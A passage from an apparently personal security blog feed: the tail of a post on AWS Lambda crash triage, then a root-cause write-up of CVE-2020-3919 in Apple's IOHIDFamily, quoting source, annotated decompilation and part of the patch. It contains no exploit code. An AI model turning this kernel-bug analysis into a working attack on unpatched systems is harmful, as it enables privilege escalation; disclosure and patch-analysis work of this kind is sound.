    <span class="n">table</span><span class="p">.</span><span class="n">update_item</span><span class="p">(</span>
        <span class="n">Key</span><span class="o">=</span><span class="p">{</span>
            <span class="s">'UUID'</span> <span class="p">:</span> <span class="n">uuid</span>
        <span class="p">},</span>
        <span class="n">UpdateExpression</span><span class="o">=</span><span class="s">'SET stack_hash = :stack_hash, error_line = :error_line'</span><span class="p">,</span>
        <span class="n">ExpressionAttributeValues</span><span class="o">=</span><span class="p">{</span>
            <span class="s">':stack_hash'</span><span class="p">:</span> <span class="n">stack_hash</span><span class="p">,</span>
            <span class="s">':error_line'</span> <span class="p">:</span> <span class="n">error_line</span>
        <span class="p">}</span>
    <span class="p">)</span>

<span class="k">def</span> <span class="nf">my_handler</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">event</span><span class="p">)</span>
    <span class="c1">#asan_log = event['asan_log']
</span>    <span class="c1">#print(asan_log)
</span>    <span class="n">message</span> <span class="o">=</span> <span class="s">"aaa"</span>
    <span class="k">for</span> <span class="n">record</span> <span class="ow">in</span> <span class="n">event</span><span class="p">[</span><span class="s">'Records'</span><span class="p">]:</span>
        <span class="c1"># We need to ensure we don't keep updating over an over again (due the stream listener). 
</span>        <span class="k">if</span> <span class="n">record</span><span class="p">[</span><span class="s">'eventName'</span><span class="p">]</span> <span class="o">==</span> <span class="s">"INSERT"</span> <span class="ow">and</span> <span class="s">"asan_log"</span> <span class="ow">in</span> <span class="n">record</span><span class="p">[</span><span class="s">'dynamodb'</span><span class="p">][</span><span class="s">'NewImage'</span><span class="p">]:</span>
            <span class="n">uuid</span> <span class="o">=</span> <span class="n">record</span><span class="p">[</span><span class="s">'dynamodb'</span><span class="p">][</span><span class="s">'Keys'</span><span class="p">][</span><span class="s">'UUID'</span><span class="p">][</span><span class="s">'S'</span><span class="p">]</span>
            <span class="n">message</span> <span class="o">=</span> <span class="n">record</span><span class="p">[</span><span class="s">'dynamodb'</span><span class="p">][</span><span class="s">'NewImage'</span><span class="p">][</span><span class="s">'asan_log'</span><span class="p">][</span><span class="s">'S'</span><span class="p">]</span>
            <span class="k">print</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>

            <span class="c1"># Now parse the log file and extract the relevant parts
</span>            <span class="n">asan</span> <span class="o">=</span> <span class="n">asanlogparse</span><span class="p">(</span><span class="n">message</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">))</span>
            <span class="n">asan</span><span class="p">.</span><span class="n">process_log</span><span class="p">()</span>
            <span class="n">stack_hash</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">asan</span><span class="p">.</span><span class="n">stack_hash</span><span class="p">())</span>
            <span class="n">error_line</span> <span class="o">=</span> <span class="n">asan</span><span class="p">.</span><span class="n">extract_error_line</span><span class="p">()</span>

            <span class="n">update_dynamodb</span><span class="p">(</span><span class="n">uuid</span><span class="p">,</span><span class="n">stack_hash</span><span class="p">,</span><span class="n">error_line</span><span class="p">)</span>

    <span class="k">return</span> <span class="p">{</span> 
        <span class="s">'message'</span> <span class="p">:</span> <span class="n">message</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>The function can then be redeployed and tested. It should be noted in this architecture the Lambda function gets called twice, once on INSERT events and once on MODIFY events. Since we only care about new records being added to the stream, we have to handle this within the code, to prevent constantly calling the lamba again and again.</p>

<h2 id="testing">Testing</h2>

<p>We can then test the lambda functionality by sending an event to simulate an incoming crash being passed from DynamoDB.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws dynamodb put-item <span class="se">\</span>
    <span class="nt">--table-name</span> Crashes <span class="se">\</span>
    <span class="nt">--item</span> file://post.json <span class="se">\</span>
    <span class="nt">--return-consumed-capacity</span> TOTAL
</code></pre></div></div>

<p>We can then see by viewing DynamoDB that the document has been updated with our crash metadata! Further post-processing is left up to your imagination.</p>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://docs.aws.amazon.com/lambda/latest/dg/lambda-python.html">AWS Lambda Python</a></li>
  <li><a href="https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Streams.Lambda.Tutorial.html">Dynamo DB Streams</a></li>
</ul>]]></content><author><name>Alex Plaskett</name></author><category term="Lambda" /><category term="Serverless" /><category term="Python" /><summary type="html"><![CDATA[In order to learn about serverless architecture, I experimented with implementing a quick proof of concept crash triaging tool using AWS Lambda Functions. There are many benefits of serverless architecture when you really don’t want to manage underlying infrastructure components and often cost saving advantages which can be made. These concepts lend themselves well to certain components of a continuous fuzzing architecture (such as Google’s Clusterfuzz).]]></summary></entry><entry><title type="html">CVE-2020-3919 - IOHIDFamily Uninitialised Kernel Memory Vulnerability</title><link href="https://alexplaskett.github.io/CVE-2020-3919/" rel="alternate" type="text/html" title="CVE-2020-3919 - IOHIDFamily Uninitialised Kernel Memory Vulnerability" /><published>2020-03-29T00:00:00+00:00</published><updated>2020-03-29T00:00:00+00:00</updated><id>https://alexplaskett.github.io/CVE-2020-3919</id><content type="html" xml:base="https://alexplaskett.github.io/CVE-2020-3919/"><![CDATA[<p>Recently Apple patched a vulnerability (CVE-2020-3919) in IOHIDFamily in their <a href="https://support.apple.com/en-gb/HT211100">security update 10.15.4</a> which may allow a malicious application to execute arbitrary code with kernel privileges. It turns out this bug also affected <a href="https://support.apple.com/en-gb/HT211102">iOS too</a>.</p>

<p>I reported this issue to Apple back whilst I was still working for <a href="https://www.f-secure.com/gb-en">F-Secure</a>. Unfortunately my actual report emails/notes have been lost now (and the credit email bounced too!), therefore this new write-up will describe the issue from what I can recall from memory and analyzing the patch Apple applied to fix the issue.</p>

<p>The issue was found using an private fuzzer called ‘opalrobot’, whilst the code of this fuzzer is not public, the design of the fuzzer is documented within the slides for <a href="https://github.com/alexplaskett/Publications/blob/master/mwri-44con-biting-the-apple-that-feeds-you-2017-09-25.pdf">macOS Kernel Fuzzing</a>. The interesting thing is that this was triggered by one of the methods implemented in the open sourced support library <a href="https://github.com/FSecureLABS/coralsun">coralsun</a> and used to call into the driver. Within this library there is the function <a href="https://github.com/FSecureLABS/coralsun/blob/813ab8ac1264963fe88d00dbf09ead62afd13375/iokitlib.pyx#L432">ioconnect_setnotificationport</a>. This calls into IOKit using the <a href="https://developer.apple.com/documentation/iokit/1514541-ioconnectsetnotificationport?language=objc">IOConnectSetNotificationPort</a>. This was the function which lead to the fuzzer triggering the bug in IOHIDFamily.</p>

<p>If we take a look at the latest public sources for 10.15 <a href="https://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-1446.11.12/IOHIDFamily/IOHIDLibUserClient.cpp.auto.html">IOHIDFamily-1446.11.12</a> we can find the following code here used to register a notification port and spot the bug:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">IOReturn</span> <span class="n">IOHIDLibUserClient</span><span class="o">::</span><span class="n">registerNotificationPort</span><span class="p">(</span><span class="n">mach_port_t</span> <span class="n">port</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">type</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">refCon</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">fGate</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">fGate</span><span class="o">-&gt;</span><span class="n">runAction</span><span class="p">(</span><span class="n">OSMemberFunctionCast</span><span class="p">(</span><span class="n">IOCommandGate</span><span class="o">::</span><span class="n">Action</span><span class="p">,</span>
                                                     <span class="n">this</span><span class="p">,</span>
                                                     <span class="o">&amp;</span><span class="n">IOHIDLibUserClient</span><span class="o">::</span><span class="n">registerNotificationPortGated</span><span class="p">),</span>
                                <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">port</span><span class="p">,</span>
                                <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="kt">intptr_t</span><span class="p">)</span><span class="n">type</span><span class="p">,</span>
                                <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="kt">intptr_t</span><span class="p">)</span><span class="n">refCon</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">kIOReturnOffline</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="n">IOReturn</span> <span class="n">IOHIDLibUserClient</span><span class="o">::</span><span class="n">registerNotificationPortGated</span><span class="p">(</span><span class="n">mach_port_t</span> <span class="n">port</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">type</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">refCon</span> <span class="n">__unused</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">IOReturn</span> <span class="n">kr</span> <span class="o">=</span> <span class="n">kIOReturnSuccess</span><span class="p">;</span>

    <span class="k">switch</span> <span class="p">(</span> <span class="n">type</span> <span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">kIOHIDLibUserClientAsyncPortType</span><span class="p">:</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">fWakePort</span> <span class="o">!=</span> <span class="n">MACH_PORT_NULL</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">ipc_port_release_send</span><span class="p">(</span><span class="n">fWakePort</span><span class="p">);</span>
                <span class="n">fWakePort</span> <span class="o">=</span> <span class="n">MACH_PORT_NULL</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">fWakePort</span> <span class="o">=</span> <span class="n">port</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">kIOHIDLibUserClientDeviceValidPortType</span><span class="p">:</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">fValidPort</span> <span class="o">!=</span> <span class="n">MACH_PORT_NULL</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">ipc_port_release_send</span><span class="p">(</span><span class="n">fValidPort</span><span class="p">);</span>
                <span class="n">fValidPort</span> <span class="o">=</span> <span class="n">MACH_PORT_NULL</span><span class="p">;</span>
            <span class="p">}</span>

            <span class="k">static</span> <span class="k">struct</span> <span class="n">_notifyMsg</span> <span class="n">init_msg</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span>
                <span class="n">MACH_MSGH_BITS</span><span class="p">(</span><span class="n">MACH_MSG_TYPE_COPY_SEND</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
                <span class="k">sizeof</span> <span class="p">(</span><span class="k">struct</span> <span class="n">_notifyMsg</span><span class="p">),</span>
                <span class="n">MACH_PORT_NULL</span><span class="p">,</span>
                <span class="n">MACH_PORT_NULL</span><span class="p">,</span>
                <span class="mi">0</span><span class="p">,</span>
                <span class="mi">0</span>
            <span class="p">}</span> <span class="p">};</span>
            
            <span class="k">if</span> <span class="p">(</span> <span class="n">fValidMessage</span> <span class="p">)</span> <span class="p">{</span>
                <span class="n">IOFree</span><span class="p">(</span><span class="n">fValidMessage</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="k">struct</span> <span class="n">_notifyMsg</span><span class="p">));</span>
                <span class="n">fValidMessage</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
            <span class="p">}</span>
                
            <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="p">(</span><span class="n">fValidMessage</span> <span class="o">=</span> <span class="n">IOMalloc</span><span class="p">(</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">_notifyMsg</span><span class="p">)))</span> <span class="p">)</span> <span class="p">{</span>
                <span class="n">kr</span> <span class="o">=</span> <span class="n">kIOReturnNoMemory</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
            
            <span class="n">fValidPort</span> <span class="o">=</span> <span class="n">port</span><span class="p">;</span>
            
            <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">fValidPort</span> <span class="p">)</span>
                <span class="k">break</span><span class="p">;</span>
                
            <span class="c1">// Initialize the events available message.</span>
            <span class="o">*</span><span class="p">((</span><span class="k">struct</span> <span class="n">_notifyMsg</span> <span class="o">*</span><span class="p">)</span><span class="n">fValidMessage</span><span class="p">)</span> <span class="o">=</span> <span class="n">init_msg</span><span class="p">;</span>

            <span class="p">((</span><span class="k">struct</span> <span class="n">_notifyMsg</span> <span class="o">*</span><span class="p">)</span><span class="n">fValidMessage</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">h</span><span class="p">.</span><span class="n">msgh_remote_port</span> <span class="o">=</span> <span class="n">fValidPort</span><span class="p">;</span>
            
            <span class="n">dispatchMessage</span><span class="p">(</span><span class="n">fValidMessage</span><span class="p">);</span>
            
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="n">kr</span> <span class="o">=</span> <span class="n">kIOReturnUnsupported</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">};</span>

    <span class="k">return</span> <span class="n">kr</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">IOReturn</span> <span class="n">IOHIDLibUserClient</span><span class="o">::</span><span class="n">dispatchMessage</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span> <span class="n">messageIn</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">IOReturn</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">kIOReturnError</span><span class="p">;</span>
    <span class="n">mach_msg_header_t</span> <span class="o">*</span> <span class="n">msgh</span> <span class="o">=</span> <span class="p">(</span><span class="n">mach_msg_header_t</span> <span class="o">*</span><span class="p">)</span><span class="n">messageIn</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span> <span class="n">msgh</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">mach_msg_send_from_kernel</span><span class="p">(</span> <span class="n">msgh</span><span class="p">,</span> <span class="n">msgh</span><span class="o">-&gt;</span><span class="n">msgh_size</span><span class="p">);</span>
        <span class="k">switch</span> <span class="p">(</span> <span class="n">ret</span> <span class="p">)</span> <span class="p">{</span>
            <span class="k">case</span> <span class="n">MACH_SEND_TIMED_OUT</span><span class="p">:</span><span class="cm">/* Already has a message posted */</span>
            <span class="k">case</span> <span class="n">MACH_MSG_SUCCESS</span><span class="p">:</span>    <span class="cm">/* Message is posted */</span>
                <span class="k">break</span><span class="p">;</span>
        <span class="p">};</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>The important things to note here are the IOKit class member variables fValidMessage and fValidPort defined as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mach_port_t</span> <span class="n">fValidPort</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span> <span class="n">fValidMessage</span><span class="p">;</span>
</code></pre></div></div>

<p>We can see from the function above, that if an invalid port is passed (i.e. !fValidPort), then the function will return without initializing the memory pointed at by fValidMessage.</p>

<p>When closing the IOKit driver from userspace, the uninitialised value is used with the following code path:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">IOReturn</span> <span class="n">IOHIDLibUserClient</span><span class="o">::</span><span class="n">close</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">HIDLibUserClientLogDebug</span><span class="p">(</span><span class="s">"close"</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">fClientOpened</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">kIOReturnSuccess</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">fNub</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fNub</span><span class="o">-&gt;</span><span class="n">close</span><span class="p">(</span><span class="n">this</span><span class="p">,</span> <span class="n">fCachedOptionBits</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">setValid</span><span class="p">(</span><span class="nb">false</span><span class="p">);</span>
   
    <span class="n">fCachedOptionBits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">fClientOpened</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
 
    <span class="k">return</span> <span class="n">kIOReturnSuccess</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="n">IOHIDLibUserClient</span><span class="o">::</span><span class="n">setValid</span><span class="p">(</span><span class="n">bool</span> <span class="n">state</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">fValid</span> <span class="o">==</span> <span class="n">state</span><span class="p">)</span>
        <span class="k">return</span><span class="p">;</span>

    <span class="n">HIDLibUserClientLogDebug</span><span class="p">(</span><span class="s">"setValid: %s"</span><span class="p">,</span> <span class="p">(</span><span class="n">state</span> <span class="o">?</span> <span class="s">"true"</span> <span class="o">:</span> <span class="s">"false"</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">state</span> <span class="p">)</span> <span class="p">{</span>
        <span class="c1">// unmap this memory</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">fNub</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">isInactive</span><span class="p">())</span> <span class="p">{</span>
            <span class="n">IOMemoryDescriptor</span> <span class="o">*</span> <span class="n">mem</span><span class="p">;</span>
            <span class="n">IOMemoryMap</span> <span class="o">*</span> <span class="n">map</span><span class="p">;</span>

            <span class="n">mem</span> <span class="o">=</span> <span class="n">fNub</span><span class="o">-&gt;</span><span class="n">getMemoryWithCurrentElementValues</span><span class="p">();</span>
            
            <span class="k">if</span> <span class="p">(</span> <span class="n">mem</span> <span class="p">)</span> <span class="p">{</span>
                <span class="n">map</span> <span class="o">=</span> <span class="n">removeMappingForDescriptor</span><span class="p">(</span><span class="n">mem</span><span class="p">);</span>
                
                <span class="k">if</span> <span class="p">(</span> <span class="n">map</span> <span class="p">)</span>
                    <span class="n">map</span><span class="o">-&gt;</span><span class="n">release</span><span class="p">();</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="n">fGeneration</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1">// set the queue states</span>
    <span class="n">setStateForQueues</span><span class="p">(</span><span class="n">state</span> <span class="o">?</span> <span class="n">kHIDQueueStateEnable</span> <span class="o">:</span> <span class="n">kHIDQueueStateDisable</span><span class="p">);</span>
    
    <span class="c1">// dispatch message</span>
    <span class="n">dispatchMessage</span><span class="p">(</span><span class="n">fValidMessage</span><span class="p">);</span>
    
    <span class="n">fValid</span> <span class="o">=</span> <span class="n">state</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">IOReturn</span> <span class="n">IOHIDLibUserClient</span><span class="o">::</span><span class="n">dispatchMessage</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span> <span class="n">messageIn</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">IOReturn</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">kIOReturnError</span><span class="p">;</span>
    <span class="n">mach_msg_header_t</span> <span class="o">*</span> <span class="n">msgh</span> <span class="o">=</span> <span class="p">(</span><span class="n">mach_msg_header_t</span> <span class="o">*</span><span class="p">)</span><span class="n">messageIn</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span> <span class="n">msgh</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">mach_msg_send_from_kernel</span><span class="p">(</span> <span class="n">msgh</span><span class="p">,</span> <span class="n">msgh</span><span class="o">-&gt;</span><span class="n">msgh_size</span><span class="p">);</span>
        <span class="k">switch</span> <span class="p">(</span> <span class="n">ret</span> <span class="p">)</span> <span class="p">{</span>
            <span class="k">case</span> <span class="n">MACH_SEND_TIMED_OUT</span><span class="p">:</span><span class="cm">/* Already has a message posted */</span>
            <span class="k">case</span> <span class="n">MACH_MSG_SUCCESS</span><span class="p">:</span>    <span class="cm">/* Message is posted */</span>
                <span class="k">break</span><span class="p">;</span>
        <span class="p">};</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can confirm this with the disassembly from 10.15.3:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* IOHIDLibUserClient::registerNotificationPortGated(ipc_port*, unsigned int, unsigned int) */</span>

<span class="c1">// Ghidra getting the arguments count wrong for the this ptr!</span>
<span class="c1">// Actually: </span>
<span class="c1">// param_1 = this ptr </span>
<span class="c1">// param_2 = port</span>
<span class="c1">// param_3 = type</span>

<span class="n">undefined8</span> <span class="nf">registerNotificationPortGated</span><span class="p">(</span><span class="n">ipc_port</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_2</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">undefined8</span> <span class="o">*</span><span class="n">puVar1</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">in_register_00000034</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">lVar2</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">uVar3</span><span class="p">;</span>
  
  <span class="n">lVar2</span> <span class="o">=</span> <span class="n">CONCAT44</span><span class="p">(</span><span class="n">in_register_00000034</span><span class="p">,</span><span class="n">param_2</span><span class="p">);</span>       <span class="c1">// port - Take 4 bytes from in_register_00000034 and 4 bytes from param_2</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>                                   <span class="c1">//  kIOHIDLibUserClientDeviceValidPortType</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>              <span class="c1">// if (fValidPort != MACH_PORT_NULL) {</span>
      <span class="n">_ipc_port_release_send</span><span class="p">();</span>                         <span class="c1">// ipc_port_release_send(fValidPort);</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>             <span class="c1">// fValidPort = MACH_PORT_NULL;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>              <span class="c1">// if ( fValidMessage ) {</span>
      <span class="n">_IOFree</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">),</span><span class="mh">0x20</span><span class="p">);</span>         <span class="c1">// IOFree(fValidMessage, sizeof (struct _notifyMsg));</span>
      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>             <span class="c1">// fValidMessage = NULL;</span>
    <span class="p">}</span>
    <span class="n">puVar1</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="n">_IOMalloc</span><span class="p">(</span><span class="mh">0x20</span><span class="p">);</span>             <span class="c1">// fValidMessage = IOMalloc( sizeof(struct _notifyMsg)</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">=</span> <span class="n">puVar1</span><span class="p">;</span>         

    <span class="k">if</span> <span class="p">(</span><span class="n">puVar1</span> <span class="o">==</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>                  <span class="c1">// if (!fValidMessage)</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="mh">0xe00002bd</span><span class="p">;</span>                               <span class="c1">// kr = kIOReturnNoMemory;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>                                              
      <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">)</span> <span class="o">=</span> <span class="n">lVar2</span><span class="p">;</span>               <span class="c1">// fValidPort = port;</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="c1">// Setup the message. </span>
      <span class="k">if</span> <span class="p">(</span><span class="n">lVar2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>                                 <span class="c1">// if (fValidPort)</span>
        <span class="n">puVar1</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">puVar1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">puVar1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="o">*</span><span class="n">puVar1</span> <span class="o">=</span> <span class="mh">0x2000000013</span><span class="p">;</span>                         <span class="c1">// MACH_MSG_TYPE_COPY_SEND</span>

        <span class="n">lVar2</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">);</span>             <span class="c1">// msgh = fValidMessage         </span>
        <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x118</span><span class="p">);</span>    <span class="c1">//  ((struct _notifyMsg *)fValidMessage)-&gt;h.msgh_remote_port = fValidPort;  </span>
        <span class="k">if</span> <span class="p">(</span><span class="n">lVar2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>     <span class="c1">// if (msgh)</span>
          <span class="n">_mach_msg_send_from_kernel_proper</span><span class="p">(</span><span class="n">lVar2</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar2</span> <span class="o">+</span> <span class="mi">4</span><span class="p">));</span>   <span class="c1">// mach_msg_send_from_kernel( msgh, msgh-&gt;msgh_size);</span>
          <span class="n">uVar3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>                             <span class="c1">// kIOHIDLibUserClientAsyncPortType</span>
    <span class="n">uVar3</span> <span class="o">=</span> <span class="mh">0xe00002c7</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x110</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">_ipc_port_release_send</span><span class="p">();</span>
        <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x110</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x110</span><span class="p">)</span> <span class="o">=</span> <span class="n">lVar2</span><span class="p">;</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">uVar3</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This patched version implements the following in 10.15.4:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* IOHIDLibUserClient::registerNotificationPortGated(ipc_port*, unsigned int, unsigned int) */</span>

<span class="n">undefined8</span> <span class="nf">registerNotificationPortGated</span><span class="p">(</span><span class="n">ipc_port</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_2</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_3</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">undefined8</span> <span class="o">*</span><span class="n">puVar1</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">in_register_00000034</span><span class="p">;</span>
